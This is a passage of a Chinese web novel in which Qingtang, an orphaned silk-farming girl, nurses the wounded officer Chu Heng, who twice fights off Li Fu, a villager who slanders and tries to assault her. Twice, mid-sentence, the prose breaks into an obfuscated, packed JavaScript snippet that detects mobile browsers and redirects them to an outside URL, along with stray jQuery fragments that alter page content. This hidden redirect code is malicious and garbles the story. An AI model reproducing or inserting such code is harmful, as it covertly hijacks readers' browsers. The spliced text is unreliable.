晚间青棠在灶间支了小床就寝，以前她也住在这里。 罗家只有两间卧房，罗父罗母一间，怀生一间，他们想着二人早晚要成婚，没有必要再起屋建房，就将青棠安排在灶房，这一住就是八年。 怀生死后，娘受不了打击身子垮下去，她为了照顾娘便和娘一起睡，再后来，两间卧房只剩下一间，另一间改成了蚕房。 时光匆匆，物是人非，八年时间一转眼就这么过去了。 ******** 楚珩常年习武，身体底子好，第三日就能自己起身，第六日能拄着棍子下地行走。 此时蚕已二眠。 养蚕讲究极多，要供蚕花娘娘，贴蚕猫图，对蚕不可说虫，要称蚕宝宝，不可说蚕爬，要说蚕行。 蚕时最忌老鼠，老鼠吃蚕，所以猫在这是最重要。 青棠家虽没猫，但旺来会捉老鼠。 村子里依旧简静，楚珩站在院子里就能将全村看遍，此处三面环山，一条河流贯穿全村，十几户人家沿着水势迤逦散开，可见平旷阳气。 乡野偏僻之地，刺客不一定能找来，同样他的侍从不一定能找来，他决定再等等看。 那次尴尬之后，楚珩以为这女子还会做出什么出格的举动来，不想她却没有。 不仅没有，话也少得可怜，每日来来回回也就是“我出去了……我回来了……”，说得最多的莫过于“吃饭吧”。 刚开始，一日三餐几乎都是稀粥咸菜，直到他饿得实在受不了，到灶房寻吃食被青棠发现后，饭食改为米饭，也多添了一道时蔬。 似乎她是善良的，似乎是他想错了。 可玉佩的确不见了踪影，若是这女子有耐心，想放长线钓大鱼，也不无可能。 无人时，楚珩依旧目光沉沉，保持戒心。 青棠不用伺候他便溺，也松了口气，委婉问他日后的计划。 楚珩不知外面情况如何，不敢贸然行动，搪塞道：“事未办成恐主家责罚，我需在外躲几日，姑娘之恩，我一定铭记在心。” 青棠摆摆手，“记不记得都无所谓，我只怕你久不归家，家人不你的消息会担忧。” “我做的是刀口舔血的营生，有今日没明日的，家里人都知道。” 楚珩身体好了，声音也清亮起来，话音不徐不急，泠泠似山泉流淌，粗布衣裳虽不合身，却难掩其身材挺拔、容颜俊朗。 青棠悄悄叹了口气，谁的生活都不易，她不好再赶人，但提出互换住处，又将他盖过的被褥拆开，用背篓装着被套和衣裳到溪边清洗。 今日是个大晴天，金灿灿的油菜花在太阳下亮得晃人眼，她随手折了几朵簪在鬓边，惹来蝴蝶一路相随。 近来雨水多，溪水涨起来，淹没了边上的石头。 青棠笑盈盈地撩了两下水，吓跑水中的鱼儿，惊起几只鹭鸟。 水晒了半日，温度刚好不冰手。 卸下背篓放在踏跋石上，拿出被套打湿，用棒槌不紧不慢地捶着。 洗完被套洗衣裳，一个不小心棒槌没放好，掉进溪中顺水飘走。 她刚想下水，棒槌就被一个人捞去了。 4. 苦汤圆 李大郎李福不知从哪里钻出来，脱了鞋就跳进水里捞出棒槌，咧着嘴朝青棠走来，一副邀功的模样。 “多谢！”青棠没看他，接过棒槌低头继续捶衣裳。 李福拧着浸湿的衣摆，一点点向青棠靠近，“妹子洗衣裳呢？” 明知故问，青棠“嗯”了一声，算是回应。 李福见她不搭言，接着套近乎，“妹妹今日穿的衣裳真好看。” “我日日都这样穿。”青棠睨他一眼，真是没话找话，她还在孝中，日常只穿素衣，素衣能有什么好看的。 “人生得好看，穿什么都好看。”李福抖着衣摆继续说道：“妹子今年多大了？” “关你什么事？”青棠语气不咸不淡。 “妹子一个人怪孤单的，我给妹子说个人家可好？”李福说完就伸手去摘青棠发髻上的油菜花。 “不用你操心。”青棠向背篓挪挪，避开他的手。 李福又凑近些，笑嘻嘻地说道：“你看我怎么样？” “不怎么样！” 青棠不想与他纠缠，加快手上动作，想尽快洗完离开。 李福恍若未闻，“你早晚要嫁人，不如嫁给我，我娘说了，过些日子就找媒人到你家提亲去。我娘还说，以后把你家房子重新翻盖，多盖出两间来，一间咱俩住，一间给爹娘住，一间留着养蚕。你家桑树多，蚕吃不了就卖钱，哦，不对，以后那是咱家……” 青棠听着只觉可笑，李福张口闭口离不开他娘，自己没有半分主意。 李福的娘她见过，一看就不是个好相与的，天生一副刁钻骨像，面皮干瘦，两颊无肉，笑时整张脸变得尖细促狭，配上两只招风耳，活脱脱一副老鼠面相。 李福娘精明过了头，可惜托生成女身，若是生成男子，一定是个好账房先生，将算盘珠子拨得噼啪响，都崩到人脸了，她哪里是想结亲，分明惦记罗家的家产。 青棠狠捶了几下衣裳，水珠溅到李福脸上。 “你胡说什么？谁说我非要嫁人了？” 李福抹了把脸，不退反进，“你早晚要嫁人，嫁给别人不如嫁给我，我会对你好的……” 说着就要去拉青棠的手。 青棠没想到大白日的他就敢动手动脚，用棒槌护在身前，“你做什么！快走，不然我喊人了。” “别生气嘛，让我看看你的手腕有多细，我给你打个镯子……”李福一手拨开棒槌，一手握住青棠手腕向自己怀中拉。 青棠将手回抽，但到底是力气小挣脱不开，正要大呼求救，旺来一口咬在李福脚踝上。 李福又惊又痛，胡乱往旺来身上拍去，刚扬起胳膊胳，便被人死死按住，动弹不得。 青棠惊魂未定，见李福被绊倒在地，双手反剪扣在后背。 定睛一看，来人竟是楚珩，他按着李福厉声呵斥道：“哪里来的狂徒！” 李福见来人长相斯文身形清瘦，并不惧怕，挣扎两下问道：“你是谁？多管闲事！” 楚珩不假思索：“我是她表兄。” “放屁！罗家那儿还有亲戚……哈哈，我知道了。”李福啐了一口，看向青棠，“一定是你这丫头不正经，爬灰养汉，气死你娘，现在又藏个小白脸在家里，真不要脸……” 没由来的话如一盆脏水，猛地朝青棠泼去。 青棠性子温和，从未与人吵过架，不会像陈桃花一样指着人鼻子骂十八辈祖宗。 眼下一股怒火直冲头顶，脸涨得通红，千般委屈堵在胸口，又气又恼，偏偏不知要从哪句话开始辩驳。 李福突然“啊——”得一声大叫，后面要说的话生生被截断。 楚珩的大掌钳住他的脖颈，似乎只要稍一用力，头就会拧掉。 “你这种败类，死不足惜！” 他面色阴沉，眼底蕴着杀气，说话间加重手上的力道。 李福这才意识到这人不好欺，眼神变得惊恐，双手握着楚珩的手腕，求饶的话卡在喉咙里，发出呜呜声。 青棠回过神来，上前拉住楚珩，急促道：“别伤他，出了人命要坐监牢。” 经她提醒，楚珩也意识到这里不是京城，他现在只是白丁之身，伤人性命不好收场。 他转向李福，“今日且饶你性命，若再让我听到污言秽语，就割了你的舌头。” 随后在李福下颌狠劲一捏。 只听“嘎巴”一声脆响，李福下颌脱臼，嘴再也合不拢，连滚带爬地朝村里跑去。 人影消失后，楚珩回望青棠，她还木在原地，面如土色。 他捡起油菜花，摘掉破碎的花瓣，重新戴回她鬓边，轻声道：“好了，没事了。” 青棠受惊吓时没哭，可被人一安慰，反倒愈发委屈，心口一酸，睫毛颤动，几颗豆大的泪珠从面上滑落，掉在脚下石板上洇开。 她不惯在外人面前流泪，一把抹掉水痕，去收拾背篓。 洗完的衣裳太沉，背篓往身上背时一下没站稳。 楚珩上前扶住她，接过背篓，“先回家。” 青棠低着头，默默地跟着楚珩走。 不堪的言语萦绕耳边，每一个字都如针一样扎在心上，她怎么都想不明白，为什么李福会这样说，自己清清白白，爹娘都是本本分分的老实人，李福凭什么这样说。 也恨自己窝囊，赶不上话儿去，没把李福骂个狗血淋头，由着他作践自己，作践爹娘。 若爹娘还在，不用外人帮忙就会把李福赶跑，绝对不会让自己受委屈、受欺辱。 青棠想爹想娘，恨不得下去找他们，心里苦得像黄连一般：爹、娘，你们好狠的心，丢下我一个人不管。 酸楚一阵阵涌入眼眶，她真想好好大哭一场，又不想楚珩看到自己的狼狈模样，强忍着不让眼泪流出来。 终于回了家，到了一个熟悉安全的环境，青棠一头扎进房里，扑到被褥上呜咽起来。 低低地啜泣声穿过门板，落在一人一狗耳中。 楚珩和旺来互相看了看。 楚珩犯了怵，他连女子都没接触过几个，更不知道要如何劝慰哭泣的女子，但让她继续伤心下去，也不是个事儿。 旺来用鼻子拱拱楚珩的腿，又抬爪子挠挠门，示意他进去看看。 楚珩踌躇片刻，轻轻敲了敲门，声音温和道：“青棠？蚕饥了。” 他没有直接去关切，而是找这个借口，农家养蚕是大事，耽误不得，青棠听了一定会出来。 果不其然，门“吱呀”一声被打开，青棠已擦干泪水，眼睛肿得像桃子。 也不看楚珩，只在旺来头顶摸了两下，赶紧去蚕房。 可大扁里已铺满桑叶，角落里还存有一担，抬眼看向院中，衣裳被套也已晾晒好。 原来他编谎诓自己出来。 青棠感觉自己被骗了，心中却悄然多了一缕异样的温暖。 一种被关心，被惦念的温暖。 楚珩见她神色不佳，但心她再回屋哭泣，补了一句：“旺来饿了……” 青棠抿住嘴角，多么笨拙的借口，旺来饿了会自己找吃的，从没让人操心过。 她神色未变，可眼尾漾开的笑意藏不住，到灶间拿出上元节剩下的糯米粉和糖馅，准备包一锅汤圆，感谢楚珩及时相救。 楚珩都看在眼里，目的达成，心情舒畅许多。 饭桌上，青棠郑重道谢：“今日的事，多谢你。” “不必，你也救过我。”楚珩又问：“这样的事经常发生？” 青棠使劲摇头，“这是头一次，那人叫李福，是个无赖……你吃吧，我累了，去休息会儿。” 楚珩阻拦：“吃些东西再休息。” 青棠哭了半日，一点胃口也没有，起身要走。 楚珩咬了一个汤圆，赶紧吐出来，皱眉道：“怎么是苦的？” 青棠闻言驻足，并不相信：“怎么会？汤圆是芝麻糖馅，又淋了桂花酱，怎么会苦？” 楚珩又吃一口：“是苦的，不信你尝尝。” 青棠看他表情的确像吃了苦东西一样，半信半疑地端起碗尝了一个，甜滋滋的味道很好。 “骗人！” 她说完，忽而明白了什么，抬头去看楚珩，正对上他含笑的目光。 原来他是用这种方式来让她用饭。 青棠又想哭，这种被人在意的感觉，很久很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587422|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有过了，暖暖的又涩涩的。 她吞了两个汤圆压下情绪，缓缓将往事道来，其实她没必要对一个外人说这些事，但她不想让他误会。 “……我虽不是爹娘亲生的，但他们有恩于我，就是我的亲爹娘……李福的话你不要信，他看我无依无靠，又是外乡人没有亲戚，惦记着这点产业……” 楚珩感念她身世可怜，安慰道：“混账的话我自然不信，我也相信你不是这样的人，你放心，有我在，以后他不敢来。” “可你走了以后呢……” 青棠这句话，像是对他说又像是自言自语，说完又觉得如此说好似在挽留他，咬咬嘴唇挤出个笑容，找补道：“村里人都很好，有事会帮我……吃饭吧。” 村子里就是这样，平日里各家多有龃龉，但真有人来闹事，大家伙儿也会团结起来，爹娘人缘不错，青棠想他们肯定会帮自己。 楚珩问道：“既然这家人都没了，你就没想过去寻亲？” 青棠摇头，“桃花嫂也这样劝我，说我可能是钱塘人，可我连三界镇都没出去过，钱塘又这么大，找亲人和大海捞针有什么区别。” “不尽然，你说话虽有钱塘口音，却是官话，极可能出自官宦人家，钱塘官员大多是京中外派，我觉得你倒应该入京寻亲。”楚珩说着又盛了些汤圆。 青棠未回答，京城在哪儿她都不知道，只听来此贩货的商人说起京城距此千里之遥，去京城寻亲，犹如痴人说梦。 但楚珩也是出于好意，她没有反驳，将问题抛回去，“倒是你，什么时候回家？” 楚珩抬眸，玩笑道：“怎么？要卸磨杀驴？” 青棠忙摆手：“我并没有要赶你走的意思，但你在外这么久，家人和同伴一定很焦急你。” 楚珩不作声，想起在京中如履薄冰的日子。 他自边境归来入，圣上念及楚家军功，授他中郎将之职，执掌京师守卫。 自从在党争中站队庆王后，庆王那些不能出面的脏活累活都交由他处理，平日里积攒了不少仇家，以至睡觉都要睁一只眼闭一只眼。 不想到了这里，反倒轻松许多，能一觉睡到大天亮。 梦中也会出现青棠眉眼弯弯、梨涡浅漾的模样，莞尔一笑如春风化雨。 也许是日日相对，才会有这样的梦罢，就像以前在军营会梦见行军作战一样，不用当会事。 这样的日子似乎很好，可再好也不能久留，还是要回到他的生死场中去。 连日来，周边并没有什么动静，算算日子，庆王已到钱塘，想来可以联络了。 他颔首道，“可有笔墨，我给家中写封书信。” “我，我去拿。” 青棠进屋打开从衣橱里的小抽屉，从中拿出一个小包裹，仔细打开两层布，笔墨静静躺在里面，没有沾染半点灰尘。 轻轻拿出笔墨，有一瞬间，她想起了怀生。 笔墨是怀生上学堂时用的。 怀生性子急坐不住，老想着去上树掏鸟窝下河摸鱼虾，先生留的大字总也写不好，当得知青棠识字后，便青棠让来代写。 青棠担心怀生被先生骂又要惹爹娘生气，只得应承下来。 最终，怀生的课业荒废，索性早早出去做工，书册再无用途，娘拿去引火用，只有笔墨被她悄悄保存下来，想着以后万一用到呢。 这不，现在就派上了用场。 写信是私密事，笔墨放到桌上后，青棠借着打扫院子的由头避开，却又忍不住去看窗内那抹身影。 身形高挑，温雅明俊，眉间疏冷似谪仙，抬头思考时嘴唇轻抿，茅屋草舍、粗布衣衫丝毫不减其清贵之气。 人好看，写字一定也很好看吧。 直到屋内人看过来，冲她挥挥笔，青棠才发觉自己失了神，低头扫了几下，发现落叶在另一边，转过身去又扫几下。 她两颊微微发热，心中思忖该给他做身新衣裳，好让他体体面面地回去，如此，他的家人和伙伴见了，便知他在外没受苦，自己也算是好人做到底。 信没写完，天上飘起雨丝，阴云沉沉地一眼望不到边。 看来这雨要下些时候。 5. 裁新衣 果然，潺潺春雨时断时续地下了整整两日，人出不了门，自然也无法寄信。 蚕已三眠，如小指般大小粗细，日日都要吃掉几篓桑叶。 带雨水的桑叶采进来不能直接喂蚕，青棠在屋内牵起绳子晾桑叶，到处都是湿漉漉、潮乎乎的。 蚕饥时，桑叶来不及晾干，还要用布巾一张张揩干，她时时盼着天能晴。 终于，在第三日傍晚，乌云散尽，久违的日光漫过山川。 虽然空气还是潮湿寒凉，但青棠的心情也跟着晴朗起来，除蚕砂时忽觉腿间一热，心跟着陡然发紧。 不妙，来月事了。 无怪她这样紧张，以前每次来月事，都疼得走不了路。 家里没有闲钱请郎中看病抓药，况且每个女子都有的毛病就不算是病，罗母会煮一碗醪糟鸡子给她喝，喝完还要继续忍痛干活。 虽然现在她不用操持几口人的家务，可以安心休息，但蚕饿不得，好在家里多了个人，能担起养蚕的事来。 青棠坚持烧了饭，饭菜上桌时，她已疼得嘴唇发白，半点胃口也无。 楚珩看出她的异样，连问她哪里不舒服。 可这到底是女子的私密事，青棠思量了好一会儿才说道：“我肚子不舒服……这两日晚间帮我喂蚕……” 楚珩自然不放心，追问道：“可需找郎中来瞧瞧？你怎么知道两日能好，万一严重了呢？” “你别问了，我就是，就是肚子痛，休息一下就好……” 青棠支支吾吾，到底没说出实情，扶着桌子起身，酸胀感缠在腰腹间，抬腿都觉着费力，进屋刚躺下，疼痛就一阵又一阵地席卷而来。 因这几日外面下雨，她进进出出，鞋尖总是湿的，脚一受冷身子也跟着冷，故而这次的疼痛甚于以往，像钝刀子来来回回地在肚子里刮。 小腹又凉又胀，她难受得直冒虚汗，也是咬紧牙关抱着被子缩成一团，身体不受控制地发抖，呼吸都带着疼。 楚珩看她这般模样，大抵知道了病因，他听说过女子每个月都会来月信，期间不能受寒、不能劳累，但不知道会这样痛苦。 他不好意思去询问，只将饭食温在锅里，等她好些再用。 临睡前，楚珩照着青棠的样子，检查前后院是否安置停当，只是将鸡圈进鸡笼时费了好大功夫，还薅掉一大把鸡毛，被旺来嫌弃地翻了几个白眼。 楚珩喂过蚕后已是二更天，想到青棠还没吃东西，便端着饭食敲门，好一会儿也无人回应，推门而入，见她蜷在床边，水杯在小几上歪着，水流了一地。 “青棠？”楚珩大步上前扶起她。 雨刚停，到处凉丝丝的，床是冷的，被是冷的，人也是冷的。 楚珩为她盖好被子，去柴房寻木炭，翻来找去只有一点点，就全部倒进火盆里点燃，端进屋去。 青棠听到动静悠悠转醒，指指水壶，哑着嗓子说道：“喝水……” 楚珩摸摸水壶，早已凉透，于是端起粥碗喂她。 疼痛耗去青棠所有的力气，她坐不稳，只能靠在楚珩怀中。 由内到外的寒冷让青棠如坠冰窟，本能地向温暖的身躯偎去。 楚珩将人揽紧一些。 几口热粥下肚，温热缓缓驱散寒凉，疲惫趁虚而入，粥没喝完青棠睡了过去。 楚珩感受着怀中人的瑟缩，走也不是，不走也不是，一动青棠也跟着动，似乎不愿离开他这片温热。 无奈，楚珩只好和衣躺在她身边，想等她睡安稳后再离开。 可再睁眼，已是月落星沉，东方既白。 二人的睡姿可谓暧昧，楚珩从身后环住青棠，青棠则反攥着他的手捂在小腹上。 他们竟这样睡了一晚上。 楚珩身子微僵，想起身必要抽回被青棠压住的胳膊，他一点点挪动，动作很轻，可还是惊醒了怀中人。 青棠昨夜倒是睡了个好觉，越睡越暖，甚至有些热，腹痛缓解了不少。 朦胧中被窝里好似有个暖炉，个头还不小的，待意识到暖炉像个人形后，她猛地坐起身来，看到楚珩的脸，心里忍不住要尖声。 暖炉成精了！ 这还不是尴尬的，更尴尬的是身下鲜红的痕迹。 月事量大，蹭到了裤子和小褥子上。 真是丢死人了，她多希望再疼晕过去一次。 楚珩恍若未见，镇定道：“醒了，我去做饭，你再睡会儿。” 说罢起身穿鞋，头也不回地快步离开，好似什么都没发生过一样。 青棠扯过被子蒙在头上，暗自摸了一遍衣裳，完好如初。 怎么会睡在一起，分明梦里只是抱着一个暖炉。 扭捏不安中青棠换了月事带和裤子，收起脏褥子，蜷在被窝里等饭熟。 等到太阳升到丈余高，等到肚子饿得咕咕叫，却始终等不到楚珩招呼她用饭。 想出去问问，又担心会冒失，毕竟谁也不愿意被催促着干活，加之刚才让人难为情的事，遂打消了这个念头。 又等了许久，没等到饭菜，反见陈桃花挺着孕肚火急火燎地赶来，看到她没事才松了口气。 “你这样着急做什么，小心肚子。”青棠已经能下地走路，扶着桃花坐下说话。 “你家这么大的烟，我还以为着火了呢。”陈桃花喘着粗气说道：“我家那口子早起过来采桑叶，见你家烟筒没冒烟，以为出了什么事，他不方便进来，便让我过来瞧一眼。我到了一看，好家伙，这哪里是没生火，烟都快把灶间填满了。” 青棠到底是一个孤女，她告诫过自家男人避嫌，不能独自去青棠家。 陈桃花说着转向院子，扬扬头示意青棠向外看，“你那表兄是富贵人家来的吧，连火都不会生，你敢让做饭，真是心大。” 青棠顺着她的目光看去，果见灶房里的烟都窜到屋顶去了，楚珩捂着口鼻站在灶房门口用蒲扇使劲扇，模样十分滑稽，她忍不住“扑哧”一声笑出来。 陈桃花见她不怒反笑，轻轻一掌拍在她身上，“你还笑，等哪天把屋子点了，我看你还笑不笑得出来。” 她揽着青棠的肩膀，打趣道：“我说你这表兄，对你可是真上心，舍得烧炭取暖。” 青棠这才发觉不远处的火盆，怪不得整个屋里都暖暖的。 火盆里余烬不少，大概是把家里的炭全用了，木炭金贵，农家人并不多备，只在冬日天寒时才舍得用上几回。 她有些心疼，却也无奈，楚珩自京城富贵之地而来，哪里懂得农家的精打细算。 陈桃花见她若有所思，像是察觉到什么，眯着眼问道：“啧啧，你不会也看上他了吧，那正好，不如让他入赘，你们二人亲上加亲，明年就能抱上个大胖小子。” “你别胡说，他很快就走了。”青棠面色更红，“我来月事腹痛，他只是帮忙做饭。” “你傻呀！”陈桃花压低声音：“咱这穷地方，十里八村也不见得能找出个模样这般俊俏周正的人来，你可得好好想想，过了这个村可就没这个店了……” 继而她贴近青棠鬓边，轻语几句。 话未说完，青棠轻捶了她几下，深深垂下头去，回忆刚才的一幕，脸上烧得滚烫，原来男人的身子是热的，怪不得自己会将他当成暖炉。 那日，陈桃花没走，在青棠家烧饭喂蚕，收拾狼藉，又熬了一碗浓浓的醪糟鸡子，直到她男人在院外张望了两次才离开。 青棠知道，陈桃花是因着家里多出来的“表兄”故意不走，一直在那里问东问西。 可这位“表兄” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587423|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒备很重，陈桃花什么都没套出来。 旺来赶鸡回来，嗅着满院浓重的烟味，看向楚珩的目光中带上了几分愁苦。 ******* 青棠的蚕养得极好，个个长得白胖，分得十大扁，吃起桑叶来如风雨之声，这其中大有楚珩之功。 蚕日渐长大，一担又一担桑叶采进来很快就吃光。 看着楚珩喂蚕的身影，她时不时想起桃花的话。 “……留下他，不答应就找机会将生米煮成熟饭……” 当初陈桃花就是用这样的手段把她男人弄到手的，也因此，她婆婆极看上她，没少给她气受，好在夫君是向着她的。 夫妻二人恩爱，接连生两个大儿子后，陈桃花的婆婆才不再说什么，一家人把日子过得红红火火、热热闹闹。 青棠却没有这样的想法，她能看出楚珩以前过得不是这样的农家日子，即便是有了肌肤之亲，他留不住。 月信走后，青棠装了一背篓山货，提着一小筐鸡子去镇上卖，顺便帮楚珩寄信。 路上一切顺利，走熟悉的路，遇到熟悉的人，只是他们和她打过招呼后会聚在一起私语什么。 青棠着急赶路，没功夫听他们说什么。 到了镇上，山货一堆堆摆好，不用吆喝就围上来一圈人，春笋、菌子是春日里的第一口鲜，并不愁卖，不一会儿背篓便见了底。 收摊去寄信，路过布店，她轻扫一眼便相中一块天水青色布料。 楚珩被救那日穿的是靛蓝色，但她觉得天青色更称他，于是毫不犹豫地扯了一身衣裳的料子。 回到家，见楚珩将家里一切安排妥当，青棠甚是欣慰，心想家里还是有个人好，当即拿出衣料给楚珩看。 楚珩见到这个颜色，不可察觉地皱了眉，他一贯只穿黑色，少有鲜艳颜色的衣裳。 但对方一片好心，他也笑着道谢。 青棠进屋拿出竹尺，把料子往他身上一搭，“你展开手臂站好，我量量尺寸。” 楚珩依言站直，竹尺挨上肩膀，力道不轻不重。 那是一把用了很久的旧尺，有些发乌，棱角磨得圆润，此刻被按在身上，隔着衣料紧贴肌肤。 量到袖口，青棠的指尖难免挨到他手腕，转瞬即逝地触碰如蜻蜓点水，在心间荡开圈圈涟漪。 痒痒的感受不是不能忍受，但他还是下意识向后缩缩手臂。 “别动！”青棠专心致志，一面抬起他的手臂一面小声念叨：“布店老板算的就是准，我只不过大概比量了身形，他就知道该用多少布料。” “老裁缝自然有准头。”楚珩喉结滚动。 继续量胸围、腰围，尺子绕到腰后时，青棠双手环住他的腰。 二人离得太近，几乎没有距离，楚珩胸膛内砰砰作响，一下快似一下，一声不落地传入青棠耳中。 乡下男人大都粗壮， 腰围和怀生的差不多，但怀生是瘦弱，他是瘦而有力。 她不禁小声感慨一句：“腰可真细。” “你说什么？” 温和的声音在头顶响起，她抬头猛地撞入楚珩沉静的目光中，琥珀色的眸子像一汪清泉，映着她大大的眼睛、小小的面庞。 日光斜照进来，微尘在光里浮动，周遭变得很静，鸡在笼里休息，旺来趴在院子里晒太阳，懒懒地打着哈欠翻个身，连风穿桑叶的沙沙声也消失不见。 仅仅是一瞬，青棠却觉得过了许久，知后觉地发现这动作要多暧昧有多暧昧，赶紧收回目光松开手，蓦然红透了耳根，恨不能找个地缝钻进去，卷起布料去了卧房。 楚珩的胳膊还抬着，听到关门声才放下，低头闻闻衣襟，沾染了女子的馨香。 他扯扯嘴角，心想：她应该不是故意的。 6. 歹念生 卧房里，青棠抱着布料呆坐了好一会儿，暗自懊恼，方才太认真竟忘记了保持距离。 不过，他模样生得可真好。 眉目温和，鼻梁挺直，嘴角上扬时带着几分暖意。 桃花嫂说得对，十里八村也没出过这样俊俏的男子。 若生米煮成熟饭，她不吃亏。 耳根不自觉地热起来，她摸了摸，不再乱想，拿出针线笸箩，铺开布料，在上面用画粉划线。 做衣裳对她来说并不难，形制是现成的，只要按对应的尺寸画出对应的尺寸再就好划线裁剪就好。 之后便是缝制，一针一线是个慢工夫，青棠不再上山，空闲时都在屋里穿针引线。 她的针线活虽慢却细致，在村里算数一数二的，又会绘些精巧的花样，少不得有四邻八舍来讨要，她也来者不拒。 桃花嫂问她从哪里学来的花样子，她答不上来，不记得是在哪里见过，反正就是会画。 楚珩写的信寄出去几日了，也未收到回信。 青棠盼着有回信，希望他能早日与家人团聚，也担心有回信，他走后，自己又是孤单一人。 而且，她发现李福最近总是在她家附近晃荡，虽然每次都是旺来将他赶走，可她知道李福是惧怕家里的男人。 她一个弱女子，生活实在不易，要是有个人在身边就好了。 生米煮成熟饭，或许是个不错的选择。 罗家是传统人家，平日里教导子女“名不正则言不顺”，无媒苟合这样的事，青棠做不出来。 即便是与怀生有婚约，二人也始终恪守本分，未有逾矩。 所以，这念头很快被掐灭。 天气暖和了，山里的菌子一下子全冒出来，青棠不想错过最后一茬菌子，要进山去采。 她让旺来看家，自己与楚珩一同去。 原本是想让楚珩看家，但他一不会放鸡，二不会抓老鼠，还是旺来留下比较合适。 菌子多的地方离家远，青棠采了满满一篓后急着往回赶，旺来虽然中用，但它不会喂蚕。 楚珩似乎并不着急回去，东张西望地找菌子，又不惯走山路，渐渐与青棠拉开一段距离。 今日太阳有些大，青棠白嫩的脸颊被晒得微微泛红，因为走得急，又背着一箩筐笋和菌子，额上薄汗涔涔，她抬手擦掉。 背篓重得往下坠，她定住脚步，托着篓底往背上颠了颠，喘口气后继续下山，只要转过弯就能看到家里房屋，因心里惦记着蚕，再累不敢放慢脚步。 眼看就要到家，李福从路旁树丛钻出来，见她独身一人才笑着喊道：“妹妹等我……” 青棠乜斜他一眼，并不停下，悄悄握紧手中柴刀。 李福也不觉着尴尬，没皮没脸地追上来，“妹妹还生我气呢？上回是我不对，是我着急了……我着急还不是因为喜欢你。” 说着拿出腋下夹的一块布料往她怀里塞，“这布料你收好，我娘说过两日就找说媒的来说亲，今年割稻前就让咱就成亲。” 青棠听着就来气，说得好像她同意了一样，李家还真是算计人算计到了骨子里，割稻前成亲，不就是为了多找个劳力去割稻嘛。 她闪身不接，“你死心吧，这事我不同意。” “这可是上好料子，上百钱一匹呢，留着做身新衣裳。”李福不甘心地将布料往她怀里推，“好生拿着。” 青棠往外推：“我不要，上百两一匹的我也不稀罕，你快些拿走。” 一个不接，一个硬给，推搡间，桃红色布料掉进泥水中。 李福赶紧捡起来，心疼地用袖子擦擦，连着叹了几声“可惜”，这可是他娘从镇上狠心花大价钱买的，就这样弄脏了，回去指定要被他娘骂死。 他娘一生气就要骂人，没完没了地骂上三五天。 李福十分惧怕，将责任怪在青棠头上，骤然变了脸色：“你不要就不要，扔地上干做什么。” 不是自己的过失，青棠当然不认：“分明是你自己没拿稳，活该。” 李福啐了一口：“别给脸不要脸，我家愿意娶你是看得起你，你也不四处去打听打听，你自己在村里是个什么名声，除了我，谁还愿意要你。” 青棠微怔，这才明白，去镇上时背后人的讥笑，原来是针对她的。 这些时日在家做衣裳不出门，听不到外面的风言风语，李家造的谣指不定在各个村子里传成什么样。 她快要被气哭，“名声不好都是你们家胡编乱造的，我这辈子嫁给谁也不会嫁给你，你家与其在我身上精打细算，不如给自己积点阴德，惦记别人家的财产，算什么本事。” 目的被戳穿，李福面上挂不住，气急败坏道：“你家那点破东西算什么，我才看不上。还想着嫁给别人？谁不知道你家养着个吃软饭的……不要脸的小娼妇！” 说完朝青棠扑过去，一副要将人生吞活剥的模样。 青棠颤抖着手举起砍柴刀，但她终究是没干过杀人放火之事，举刀只是威慑并不敢伤人。 李福也看出她只是花架子，一把将刀打掉，欲行不轨。 说时迟那时快，一粒石子飞来正中李福口中，下一瞬就疼得捂着嘴巴满地打滚，鲜血从指缝间流出，手掌打开，一粒门牙赫然躺在掌心。 “你、你……诶呦……打人啦，打人啦！” 他舔舔牙齿空缺处，血腥味在嘴里蔓延，大叫着抬头，见楚珩已将青棠护在身后，便如遭了霜的菜苗，霎时蔫下去，叫喊声戛然而止。 楚珩一脚将李福踹出去丈余远，声线阴冷：“你把我的话当耳旁风吗？” 李福迎着目光看过去，那双凌厉的眸中似乎藏有一头凶兽，即刻要跳出来将他撕碎。 他吓得一哆嗦，面色惨白如纸，捂着嘴点点头又摇摇头。 楚珩蹲下身，眼神阴鸷得吓人，“我今日不割你的舌头，留着它让你去跟村里人解释清楚，是你觊觎罗家产业故意这样说。” 不及李福回答，楚珩捡起砍柴刀，刀背敲在他腿，发出清脆响声。 紧接着，突如其来的刺痛让李福出了一身冷汗，这可比掉牙痛上千倍万倍，但他硬是挺着没敢叫出声来。 楚珩手下有分寸，所用力道可以震裂骨头但不伤及皮肉，看起来和摔伤一样。 他站起身挺直脊背，看李福如看一只臭虫，嫌恶地说了声：“滚！” 李福如得赦令，连滚带爬拖着伤腿离开。 青棠直愣愣地看着这一切，显然是吓傻了。 楚珩把砍柴刀放回她手中，“有人就爱捡软柿子捏，你越怕他他越嚣张。” 青棠吓得脸都白了，站在原地说不出话来，拿着刀的手止不住发抖。 楚珩见她惊魂不定，握住她拿刀的手，声音无比温柔，像是在安慰小孩子：“没事了，咱们回家。” 青棠感受这手上传来的热度，一点点回过神来，两条腿还僵硬着，迈不开步子。 楚珩拉着慢慢往山下走，直至到家才松开。 青棠的手在掌心上留下一片明晰的潮湿，他也不甚明白，自己为什么会做出这种逾矩的行为。 泛冷的指尖握在手里，如春笋、似葱根，指腹上虽有薄茧却不硌手。 他竟不知女子的手又小又软。 